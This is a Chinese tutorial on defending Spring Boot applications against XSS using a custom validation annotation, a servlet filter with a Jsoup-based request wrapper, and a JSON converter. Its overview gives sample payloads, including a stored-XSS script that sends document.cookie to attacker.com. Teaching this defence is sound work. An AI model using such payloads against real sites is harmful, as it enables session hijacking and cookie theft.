SpringBoot實(shí)現(xiàn)XSS攻擊防御的幾種方式
引言
隨著Web應(yīng)用的普及,網(wǎng)絡(luò)安全問(wèn)題也日益凸顯??缯灸_本攻擊(Cross-Site Scripting,簡(jiǎn)稱(chēng)XSS)是一種常見(jiàn)的Web安全漏洞,它允許攻擊者將惡意腳本注入到其他用戶(hù)瀏覽和使用的正常網(wǎng)頁(yè)中。當(dāng)其他用戶(hù)瀏覽這些網(wǎng)頁(yè)時(shí),惡意腳本就會(huì)在他們的瀏覽器上執(zhí)行,從而可能導(dǎo)致信息泄露、會(huì)話(huà)劫持等嚴(yán)重后果。XSS攻擊的普遍性和潛在危害性使其成為Web應(yīng)用安全中不可忽視的一部分。
本文旨在探討如何在Spring Boot應(yīng)用程序中有效地防御XSS攻擊。我們將介紹兩種主要的防御手段:注解和過(guò)濾器。通過(guò)這兩種方式,開(kāi)發(fā)者可以輕松地在Spring Boot應(yīng)用中實(shí)現(xiàn)XSS攻擊的防御,從而保障用戶(hù)的數(shù)據(jù)安全和應(yīng)用的穩(wěn)定運(yùn)行。
一、XSS攻擊概述
XSS攻擊,全稱(chēng)為跨站腳本攻擊(Cross-Site Scripting),是一種常見(jiàn)的網(wǎng)絡(luò)攻擊手段。它主要利用了Web應(yīng)用程序?qū)τ脩?hù)輸入驗(yàn)證的不足,允許攻擊者將惡意腳本注入到其他用戶(hù)瀏覽的網(wǎng)頁(yè)中。
1.1 XSS攻擊的定義
XSS攻擊是指攻擊者在Web頁(yè)面的輸入數(shù)據(jù)中插入惡意腳本,當(dāng)其他用戶(hù)瀏覽該頁(yè)面時(shí),這些腳本就會(huì)在用戶(hù)的瀏覽器上執(zhí)行。由于腳本是在受害用戶(hù)的上下文中執(zhí)行的,因此它可以訪(fǎng)問(wèn)該用戶(hù)的所有會(huì)話(huà)信息和權(quán)限,從而可能導(dǎo)致信息泄露、會(huì)話(huà)劫持、惡意操作等安全風(fēng)險(xiǎn)。
1.2 XSS攻擊的類(lèi)型
XSS攻擊主要分為以下三種類(lèi)型:
- 存儲(chǔ)型XSS(Persistent XSS):惡意腳本被永久存儲(chǔ)在目標(biāo)服務(wù)器上,如數(shù)據(jù)庫(kù)、消息論壇、訪(fǎng)客留言等,當(dāng)用戶(hù)訪(fǎng)問(wèn)相應(yīng)的網(wǎng)頁(yè)時(shí),惡意腳本就會(huì)執(zhí)行。
- 反射型XSS(Reflected XSS):惡意腳本并不存儲(chǔ)在目標(biāo)服務(wù)器上,而是通過(guò)諸如URL參數(shù)的方式直接在請(qǐng)求響應(yīng)中反射并執(zhí)行。這種類(lèi)型的攻擊通常是通過(guò)誘使用戶(hù)點(diǎn)擊鏈接或訪(fǎng)問(wèn)特定的URL來(lái)實(shí)施的。
- 基于DOM的XSS(DOM-based XSS):這種類(lèi)型的XSS攻擊完全發(fā)生在客戶(hù)端,不需要服務(wù)器的參與。它通過(guò)惡意腳本修改頁(yè)面的DOM結(jié)構(gòu),實(shí)現(xiàn)攻擊。
1.3 XSS攻擊的攻擊原理及示例
XSS攻擊的基本原理是利用Web應(yīng)用程序?qū)τ脩?hù)輸入的信任,將惡意腳本注入到響應(yīng)中。當(dāng)其他用戶(hù)訪(fǎng)問(wèn)包含惡意腳本的頁(yè)面時(shí),腳本會(huì)在他們的瀏覽器中執(zhí)行。
示例:
- 存儲(chǔ)型XSS攻擊:
攻擊者在一個(gè)博客評(píng)論系統(tǒng)中提交以下評(píng)論:
<script> document.location='http://attacker.com/steal.php?cookie='+document.cookie; </script>
當(dāng)其他用戶(hù)查看這條評(píng)論時(shí),他們的cookie會(huì)被發(fā)送到攻擊者的服務(wù)器。
- 反射型XSS攻擊:
攻擊者構(gòu)造一個(gè)惡意URL:
http://example.com/search?q=<script>alert('XSS')</script>
如果服務(wù)器直接將搜索詞嵌入到響應(yīng)中而不進(jìn)行過(guò)濾,用戶(hù)點(diǎn)擊此鏈接后會(huì)看到一個(gè)警告框。
- DOM型XSS攻擊:
假設(shè)網(wǎng)頁(yè)中有以下JavaScript代碼:
var name = document.location.hash.substr(1); document.write("歡迎, " + name);
當(dāng)用戶(hù)訪(fǎng)問(wèn)此URL時(shí),惡意腳本會(huì)被執(zhí)行。
二、Spring Boot中的XSS防御手段
在Spring Boot中,我們可以采用多種方式來(lái)防御XSS攻擊。下面將詳細(xì)介紹兩種常用的防御手段:使用注解和使用過(guò)濾器。
2.1 使用注解進(jìn)行XSS防御
注解是一種輕量級(jí)的防御手段,它可以在方法或字段級(jí)別對(duì)輸入進(jìn)行校驗(yàn),從而防止XSS攻擊。
2.1.1 引入相關(guān)依賴(lài)
<!--JSR-303/JSR-380用于驗(yàn)證的注解 --> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-validation</artifactId> <version>3.2.0</version> </dependency>
2.1.2 使用@XSS注解進(jìn)行參數(shù)校驗(yàn)
我們可以自定義一個(gè)@XSS注解,用于標(biāo)記那些需要校驗(yàn)的參數(shù)。這里是一個(gè)簡(jiǎn)單的@XSS注解定義:
@Target(value = { ElementType.METHOD, ElementType.FIELD, ElementType.CONSTRUCTOR, ElementType.PARAMETER }) @Retention(RetentionPolicy.RUNTIME) @Constraint(validatedBy = XssValidator.class) public @interface Xss { String message() default "非法輸入, 檢測(cè)到潛在的XSS"; Class<?>[] groups() default {}; Class<? extends Payload>[] payload() default {}; }
2.1.3 實(shí)現(xiàn)自定義注解處理器
接下來(lái),我們需要實(shí)現(xiàn)XSSValidator類(lèi),該類(lèi)將負(fù)責(zé)檢查輸入是否包含潛在的XSS攻擊腳本:
public class XssValidator implements ConstraintValidator<Xss, String> { /** * 使用自帶的 basicWithImages 白名單 */ private static final Safelist WHITE_LIST = Safelist.relaxed(); /** * 定義輸出設(shè)置,關(guān)閉prettyPrint(prettyPrint=false),目的是避免在清理過(guò)程中對(duì)代碼進(jìn)行格式化 * 從而保持輸入和輸出內(nèi)容的一致性。 */ private static final Document.OutputSettings OUTPUT_SETTINGS = new Document.OutputSettings().prettyPrint(false); /** * 驗(yàn)證輸入值是否有效,即是否包含潛在的XSS攻擊腳本。 * * @param value 輸入值,需要進(jìn)行XSS攻擊腳本清理。 * @param context 上下文對(duì)象,提供關(guān)于驗(yàn)證環(huán)境的信息,如驗(yàn)證失敗時(shí)的錯(cuò)誤消息定制。 * @return 如果清理后的值與原始值相同,則返回true,表示輸入值有效;否則返回false,表示輸入值無(wú)效。 */ @Override public boolean isValid(String value, ConstraintValidatorContext context) { // 使用Jsoup庫(kù)對(duì)輸入值進(jìn)行清理,以移除潛在的XSS攻擊腳本。 // 使用預(yù)定義的白名單和輸出設(shè)置來(lái)確保只保留安全的HTML元素和屬性。 String cleanedValue = Jsoup.clean(value, "", WHITE_LIST, OUTPUT_SETTINGS); // 比較清理后的值與原始值是否相同,用于判斷輸入值是否有效。 return cleanedValue.equals(value); } }
2.1.4 使用注解
在要進(jìn)行XSS防御的屬性上添加注解:
@Data @Tag(name = "用戶(hù)",description = "用戶(hù)登錄類(lèi)") public class UserLoginDTO { @Xss @NotBlank(message = "賬號(hào)不能為空") @Schema(name = "用戶(hù)賬號(hào)",type = "String") private String userAccount; @Xss @Size(min = 6, max = 18, message = "用戶(hù)密碼長(zhǎng)度需在6-18位") @Schema(name = "用戶(hù)密碼",type = "String") private String password; @Xss @NotBlank(message = "郵箱驗(yàn)證碼內(nèi)容不能為空") @Schema(name = "郵箱驗(yàn)證碼",type = "String") private String emailCaptcha; }
在Controller
中的接口添加@Validated
注解:
@PostMapping("/test2") public Result<String> login(@RequestBody @Validated UserLoginDTO userLoginDTO) { return Result.success(); }
2.2 使用過(guò)濾器進(jìn)行XSS防御
2.2.1 引入相關(guān)依賴(lài)
<!-- Jsoup依賴(lài) --> <dependency> <groupId>org.jsoup</groupId> <artifactId>jsoup</artifactId> <version>1.17.2</version> </dependency>
2.2.2 編寫(xiě)配置類(lèi)
/** * 跨站腳本(XSS)過(guò)濾配置類(lèi)。 */ @Data @Component @ConfigurationProperties(prefix = "xss") public class FilterConfig { /** * 是否啟用XSS過(guò)濾。 */ private String enabled; /** * 需要排除的URL模式,這些URL不會(huì)進(jìn)行XSS過(guò)濾。 */ private String excludes; /** * 需要應(yīng)用XSS過(guò)濾的URL模式。 */ private String urlPatterns; /** * 注冊(cè)XSS過(guò)濾器。 * * @return FilterRegistrationBean 用于注冊(cè)過(guò)濾器的bean。 */ @Bean public FilterRegistrationBean xssFilterRegistration() { FilterRegistrationBean registrationBean = new FilterRegistrationBean(); // 設(shè)置過(guò)濾器的分發(fā)類(lèi)型為請(qǐng)求類(lèi)型 registrationBean.setDispatcherTypes(DispatcherType.REQUEST); // 創(chuàng)建XssFilter的實(shí)例 registrationBean.setFilter(new XssFilter()); // 添加過(guò)濾器需要攔截的URL模式,這些模式從配置文件中的"urlPatterns"屬性讀取 registrationBean.addUrlPatterns(StringUtils.split(urlPatterns, ",")); // 設(shè)置過(guò)濾器的名稱(chēng) registrationBean.setName("XssFilter"); // 設(shè)置過(guò)濾器的執(zhí)行順序,數(shù)值越小,優(yōu)先級(jí)越高 registrationBean.setOrder(9999); // 創(chuàng)建一個(gè)Map,用于存儲(chǔ)過(guò)濾器的初始化參數(shù) Map<String, String> initParameters = new HashMap<>(); // 將配置文件中的"excludes"屬性設(shè)置到過(guò)濾器的初始化參數(shù)中 initParameters.put("excludes", excludes); // 將配置文件中的"enabled"屬性設(shè)置到過(guò)濾器的初始化參數(shù)中 initParameters.put("enabled", enabled); // 將初始化參數(shù)設(shè)置到FilterRegistrationBean中 registrationBean.setInitParameters(initParameters); // 返回FilterRegistrationBean,包含了XssFilter的配置信息 return registrationBean; } }
2.2.3 修改配置文件
xss: enabled: true excludes: url-patterns: /*
2.2.4 創(chuàng)建XSSFilter類(lèi)
import jakarta.servlet.*; import jakarta.servlet.http.HttpServletRequest; import jakarta.servlet.http.HttpServletResponse; import lombok.extern.slf4j.Slf4j; import org.apache.commons.lang3.StringUtils; import java.io.IOException; import java.util.ArrayList; import java.util.List; import java.util.regex.Matcher; import java.util.regex.Pattern; @Slf4j public class XssFilter implements Filter { /** * 存儲(chǔ)需要排除XSS過(guò)濾的URL模式列表。 */ private List<String> excludes = new ArrayList<>(); /** * 是否啟用XSS過(guò)濾的標(biāo)志。 */ private boolean enabled = false; /** * 初始化過(guò)濾器,從過(guò)濾器配置中讀取排除列表和啟用狀態(tài)。 * * @param filterConfig 過(guò)濾器配置對(duì)象。 * @throws ServletException 如果初始化過(guò)程中出現(xiàn)錯(cuò)誤。 */ @Override public void init(FilterConfig filterConfig) throws ServletException { String strExcludes = filterConfig.getInitParameter("excludes"); String strEnabled = filterConfig.getInitParameter("enabled"); //將不需要xss過(guò)濾的接口添加到列表中 if (StringUtils.isNotEmpty(strExcludes)) { String[] urls = strExcludes.split(","); for (String url : urls) { excludes.add(url); } } if (StringUtils.isNotEmpty(strEnabled)) { enabled = Boolean.valueOf(strEnabled); } } /** * 執(zhí)行過(guò)濾邏輯,如果當(dāng)前請(qǐng)求不在排除列表中,則通過(guò)XSS過(guò)濾器包裝請(qǐng)求。 * * @param request HTTP請(qǐng)求對(duì)象。 * @param response HTTP響應(yīng)對(duì)象。 * @param chain 過(guò)濾器鏈對(duì)象,用于繼續(xù)或中斷請(qǐng)求處理。 * @throws IOException 如果處理過(guò)程中出現(xiàn)I/O錯(cuò)誤。 * @throws ServletException 如果處理過(guò)程中出現(xiàn)Servlet相關(guān)錯(cuò)誤。 */ @Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { HttpServletRequest req = (HttpServletRequest) request; HttpServletResponse resp = (HttpServletResponse) response; //如果該訪(fǎng)問(wèn)接口在排除列表里面則不攔截 if (isExcludeUrl(req.getServletPath())) { chain.doFilter(request, response); return; } log.info("uri:{}", req.getRequestURI()); // xss 過(guò)濾 chain.doFilter(new XssWrapper(req), resp); } /** * 銷(xiāo)毀過(guò)濾器,釋放資源。 */ @Override public void destroy() { // 無(wú)需額外的銷(xiāo)毀邏輯 } /** * 判斷當(dāng)前請(qǐng)求的URL是否應(yīng)該被排除在XSS過(guò)濾之外。 * * @param urlPath 請(qǐng)求的URL路徑。 * @return 如果請(qǐng)求應(yīng)該被排除,則返回true;否則返回false。 */ private boolean isExcludeUrl(String urlPath) { if (!enabled) { //如果xss開(kāi)關(guān)關(guān)閉了,則所有url都不攔截 return true; } if (excludes == null || excludes.isEmpty()) { return false; } String url = urlPath; for (String pattern : excludes) { Pattern p = Pattern.compile("^" + pattern); Matcher m = p.matcher(url); if (m.find()) { return true; } } return false; } }
2.2.5 編寫(xiě)過(guò)濾工具類(lèi)
/** * XSS過(guò)濾工具類(lèi),使用Jsoup庫(kù)對(duì)輸入的字符串進(jìn)行XSS攻擊防護(hù) */ public class XssUtil { /** * 使用自帶的 basicWithImages 白名單 */ private static final Safelist WHITE_LIST = Safelist.relaxed(); /** * 定義輸出設(shè)置,關(guān)閉prettyPrint(prettyPrint=false),目的是避免在清理過(guò)程中對(duì)代碼進(jìn)行格式化 * 從而保持輸入和輸出內(nèi)容的一致性。 */ private static final Document.OutputSettings OUTPUT_SETTINGS = new Document.OutputSettings().prettyPrint(false); /* 初始化白名單策略,允許所有標(biāo)簽擁有style屬性。 這是因?yàn)樵诟晃谋揪庉嬛?,樣式通常通過(guò)style屬性來(lái)定義,需要確保這些樣式能夠被保留。 */ static { // 富文本編輯時(shí)一些樣式是使用 style 來(lái)進(jìn)行實(shí)現(xiàn)的 // 比如紅色字體 style="color:red;" // 所以需要給所有標(biāo)簽添加 style 屬性 WHITE_LIST.addAttributes(":all", "style"); } /** * 清理輸入的字符串,移除潛在的XSS攻擊代碼。 * * @param content 待清理的字符串,通常是用戶(hù)輸入的HTML內(nèi)容。 * @return 清理后的字符串,保證不包含XSS攻擊代碼。 */ public static String clean(String content) { // 使用定義好的白名單策略和輸出設(shè)置清理輸入的字符串 return Jsoup.clean(content, "", WHITE_LIST, OUTPUT_SETTINGS); } }
2.2.6 編寫(xiě)XSSRequestWrapper類(lèi)清理腳本
在XSSFilter類(lèi)中,我們創(chuàng)建了一個(gè)新的XSSRequestWrapper
類(lèi),該類(lèi)繼承自HttpServletRequestWrapper
。在這個(gè)包裝類(lèi)中,我們將重寫(xiě)getParameter
等方法,以清理請(qǐng)求參數(shù)中的潛在XSS腳本。
@Slf4j public class XssWrapper extends HttpServletRequestWrapper { /** * Constructs a request object wrapping the given request. * * @param request The request to wrap * @throws IllegalArgumentException if the request is null */ public XssWrapper(HttpServletRequest request) { super(request); log.info("XssWrapper"); } /** * 對(duì)數(shù)組參數(shù)進(jìn)行特殊字符過(guò)濾 */ @Override public String[] getParameterValues(String name) { String[] values = super.getParameterValues(name); if (values == null) { return null; } int count = values.length; String[] encodedValues = new String[count]; for (int i = 0; i < count; i++) { encodedValues[i] = cleanXSS(values[i]); } return encodedValues; } /** * 對(duì)參數(shù)中特殊字符進(jìn)行過(guò)濾 */ @Override public String getParameter(String name) { String value = super.getParameter(name); if (StrUtil.isBlank(value)) { return value; } return cleanXSS(value); } /** * 獲取attribute,特殊字符過(guò)濾 */ @Override public Object getAttribute(String name) { Object value = super.getAttribute(name); if (value instanceof String && StrUtil.isNotBlank((String) value)) { return cleanXSS((String) value); } return value; } /** * 對(duì)請(qǐng)求頭部進(jìn)行特殊字符過(guò)濾 */ @Override public String getHeader(String name) { String value = super.getHeader(name); if (StrUtil.isBlank(value)) { return value; } return cleanXSS(value); } /** * 清理輸入的字符串以防止XSS攻擊 * * @param value 待清理的字符串,通常為用戶(hù)輸入或來(lái)自不可信源的數(shù)據(jù)。 * @return 清理后的字符串,移除了可能的XSS攻擊代碼。 */ private String cleanXSS(String value) { return XssUtil.clean(value); } }
2.2.7 自定義json消息解析器
在使用springboot中,類(lèi)似于普通的參數(shù)parameter,attribute,header一類(lèi)的,可以直接使用過(guò)濾器來(lái)過(guò)濾。而前端發(fā)送回來(lái)的json字符串就沒(méi)那么方便過(guò)濾了??梢钥紤]用自定義json消息解析器來(lái)過(guò)濾前端傳遞的json。
/** * 在讀取和寫(xiě)入JSON數(shù)據(jù)時(shí)特殊字符避免xss攻擊的消息解析器 * */ public class XSSMappingJackson2HttpMessageConverter extends MappingJackson2HttpMessageConverter { /** * 從HTTP輸入消息中讀取對(duì)象,同時(shí)應(yīng)用XSS防護(hù)。 * * @param type 類(lèi)型令牌,表示要讀取的對(duì)象類(lèi)型。 * @param contextClass 上下文類(lèi),提供類(lèi)型解析的上下文信息。 * @param inputMessage HTTP輸入消息,包含要讀取的JSON數(shù)據(jù)。 * @return 從輸入消息中解析出的對(duì)象,經(jīng)過(guò)XSS防護(hù)處理。 * @throws IOException 如果發(fā)生I/O錯(cuò)誤。 * @throws HttpMessageNotReadableException 如果消息無(wú)法讀取。 */ @Override public Object read(Type type, Class contextClass, HttpInputMessage inputMessage) throws IOException, HttpMessageNotReadableException { JavaType javaType = getJavaType(type, contextClass); Object obj = readJavaType(javaType, inputMessage); //得到請(qǐng)求json String json = super.getObjectMapper().writeValueAsString(obj); //過(guò)濾特殊字符 String result = XssUtil.clean(json); Object resultObj = super.getObjectMapper().readValue(result, javaType); return resultObj; } /** * 從HTTP輸入消息中讀取指定Java類(lèi)型的對(duì)象,內(nèi)部使用。 * * @param javaType 要讀取的對(duì)象的Java類(lèi)型。 * @param inputMessage HTTP輸入消息,包含要讀取的JSON數(shù)據(jù)。 * @return 從輸入消息中解析出的對(duì)象。 * @throws IOException 如果發(fā)生I/O錯(cuò)誤。 * @throws HttpMessageNotReadableException 如果消息無(wú)法讀取。 */ private Object readJavaType(JavaType javaType, HttpInputMessage inputMessage) { try { return super.getObjectMapper().readValue(inputMessage.getBody(), javaType); } catch (IOException ex) { throw new HttpMessageNotReadableException("Could not read JSON: " + ex.getMessage(), ex); } } /** * 將對(duì)象寫(xiě)入HTTP輸出消息,同時(shí)應(yīng)用XSS防護(hù)。 * * @param object 要寫(xiě)入的對(duì)象。 * @param outputMessage HTTP輸出消息,對(duì)象將被序列化為JSON并寫(xiě)入此消息。 * @throws IOException 如果發(fā)生I/O錯(cuò)誤。 * @throws HttpMessageNotWritableException 如果消息無(wú)法寫(xiě)入。 */ @Override protected void writeInternal(Object object, HttpOutputMessage outputMessage) throws IOException, HttpMessageNotWritableException { //得到要輸出的json String json = super.getObjectMapper().writeValueAsString(object); //過(guò)濾特殊字符 String result = XssUtil.clean(json); // 輸出 outputMessage.getBody().write(result.getBytes()); } }
然后在啟動(dòng)類(lèi)添加:
@Bean public HttpMessageConverters xssHttpMessageConverters() { XSSMappingJackson2HttpMessageConverter xssMappingJackson2HttpMessageConverter = new XSSMappingJackson2HttpMessageConverter(); HttpMessageConverter converter = xssMappingJackson2HttpMessageConverter; return new HttpMessageConverters(converter); }
三、測(cè)試
3.1 XSS注解:
如果不符合規(guī)則的字符(例如
<script>alert('XSS');</script>
)會(huì)提示非法輸入,檢測(cè)到潛在的XSS
,可以看到下面的返回參數(shù)中的message已經(jīng)變?yōu)槟J(rèn)警告。
3.2 XSS過(guò)濾器
XSS過(guò)濾器實(shí)現(xiàn)的效果是過(guò)濾,將前端傳遞參數(shù)進(jìn)行清理,達(dá)到XSS防御的目的。
觀察下面的測(cè)試結(jié)果可以知道過(guò)濾器成功實(shí)現(xiàn)參數(shù)清理。
四、總結(jié)
本文深入探討了在Spring Boot應(yīng)用程序中如何有效地防御XSS攻擊。我們介紹了兩種主要的防御手段:使用注解和使用過(guò)濾器。通過(guò)這兩種方式,開(kāi)發(fā)者可以輕松地在Spring Boot應(yīng)用中實(shí)現(xiàn)XSS攻擊的防御,從而保障用戶(hù)的數(shù)據(jù)安全和應(yīng)用的穩(wěn)定運(yùn)行,希望對(duì)大家有所幫助。
以上就是SpringBoot實(shí)現(xiàn)XSS攻擊防御的幾種方式的詳細(xì)內(nèi)容,更多關(guān)于SpringBoot防御XSS攻擊的資料請(qǐng)關(guān)注腳本之家其它相關(guān)文章!
相關(guān)文章
輸出java進(jìn)程的jstack信息示例分享 通過(guò)線(xiàn)程堆棧信息分析java線(xiàn)程
通過(guò)ps到j(luò)ava進(jìn)程號(hào)將進(jìn)程的jstack信息輸出。jstack信息是java進(jìn)程的線(xiàn)程堆棧信息,通過(guò)該信息可以分析java的線(xiàn)程阻塞等問(wèn)題。2014-01-01詳解Java設(shè)計(jì)模式編程中的依賴(lài)倒置原則
這篇文章主要介紹了詳解Java設(shè)計(jì)模式中的依賴(lài)倒置原則,針對(duì)面對(duì)對(duì)象編程中的抽象的運(yùn)用,需要的朋友可以參考下2016-02-02Java語(yǔ)言實(shí)現(xiàn)簡(jiǎn)單FTP軟件 FTP連接管理模塊實(shí)現(xiàn)(8)
這篇文章主要為大家詳細(xì)介紹了Java語(yǔ)言實(shí)現(xiàn)簡(jiǎn)單FTP軟件,F(xiàn)TP連接管理模塊的實(shí)現(xiàn)方法,具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下2017-04-04Mybatis-plus多租戶(hù)項(xiàng)目實(shí)戰(zhàn)進(jìn)階指南
多租戶(hù)是一種軟件架構(gòu)技術(shù),在多用戶(hù)的環(huán)境下共有同一套系統(tǒng),并且要注意數(shù)據(jù)之間的隔離性,下面這篇文章主要給大家介紹了關(guān)于Mybatis-plus多租戶(hù)項(xiàng)目實(shí)戰(zhàn)進(jìn)階的相關(guān)資料,需要的朋友可以參考下2022-02-02SpringBoot+Shiro學(xué)習(xí)之密碼加密和登錄失敗次數(shù)限制示例
本篇文章主要介紹了SpringBoot+Shiro學(xué)習(xí)之密碼加密和登錄失敗次數(shù)限制示例,可以限制登陸次數(shù),有興趣的同學(xué)可以了解一下。2017-03-03